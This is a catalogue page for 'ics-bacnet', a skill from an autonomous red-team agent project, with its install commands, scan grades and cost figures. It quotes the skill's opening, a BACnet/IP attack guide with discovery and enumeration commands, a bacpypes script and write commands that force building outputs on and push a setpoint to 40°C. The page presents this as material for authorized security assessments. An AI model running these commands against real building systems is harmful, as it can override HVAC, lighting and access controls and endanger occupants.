Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill bacnetgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/bacnet)<a href="https://agentmods.dev/skills/purpleailab/decepticon/bacnet"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/bacnet/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/bacnet"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/bacnet.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 20 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00057 | $0.01194 |
| Opus 5 | $0.00028 | $0.00597 |
| Sonnet 5 | $0.00011 | $0.00239 |
| Haiku 4.5 | $0.00006 | $0.00119 |
Grade A, and why
ics-bacnet scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- bacnet — 100% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 115 lines — stays where its author put it; the contents beside it link to each section on GitHub.
BACnet/IP Attack — Building Automation
BACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP/47808 by default. No authentication in BACnet/IP.
Discover
# Send Who-Is broadcast (BACnet's auto-discovery)
nmap -sU -p 47808 --script=bacnet-info 10.0.0.0/24
# Or with bacnet-tools (apt: bacnet-stack)
bacwi # who-is broadcast
bacrp 1234 8 1 85 # ReadProperty: device 1234, object analog-value 1, property 85 (present-value)
# bacpypes (Python)
python3 -c '
from bacpypes.app import BIPSimpleApplication
from bacpypes.core import run, stop
from bacpypes.iocb import IOCB
from bacpypes.local.device import LocalDeviceObject
from bacpypes.apdu import WhoIsRequest
ld = LocalDeviceObject(objectName="x", objectIdentifier=599, vendorIdentifier=15)
app = BIPSimpleApplication(ld, "10.0.0.99")
req = WhoIsRequest(); req.pduDestination = ("10.0.0.255",47808)
iocb = IOCB(req); app.request_io(iocb)
# Devices respond with I-Am
'
What you get from discovery
Each I-Am response identifies:
- Device Instance number (PK for that device)
- Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)
- Max APDU + Segmentation support
Look up the vendor — vendor-specific objects often expose more (admin override, factory reset, etc.).
Read everything
# Object types to enumerate: analog-input(0), analog-output(1), analog-value(2),
# binary-input(3), binary-output(4), binary-value(5), device(8), schedule(17), program(16)
# Read all objects on a device:
bacrpm 1234 8 1 76 # property 76 = object-list
# Each entry: (object-type, instance). Then for each:
bacrp 1234 0 1 85 # analog-input 1, present-value
Write attacks
Override an output (the actual physical effect)
# Force binary-output 5 ON with priority 8 (manual operator)
bacwp 1234 4 5 85 8 -1 0 # write True at priority 8
# AnalogOutput (e.g., setpoint) to 40°C
bacwp 1234 1 3 85 8 -1 40.0
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 115 lines · 57 tokens per session scan A 677a4973ff1f
ics-bacnet is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 12d ago), licensed Apache-2.0. It adds 57 tokens to every session and 1,194 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
secretary
Workspace and research management — dispatch analyses, monitor running agents, manage workspaces and threads.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
analyzing-windows-prefetch-with-python
Use when parse Windows Prefetch files using the windowsprefetch Python library to reconstruct application execution history, detect renamed or masquerading binaries, and identify suspicious program execution patterns. Use when working with analyzing windows prefetch with python.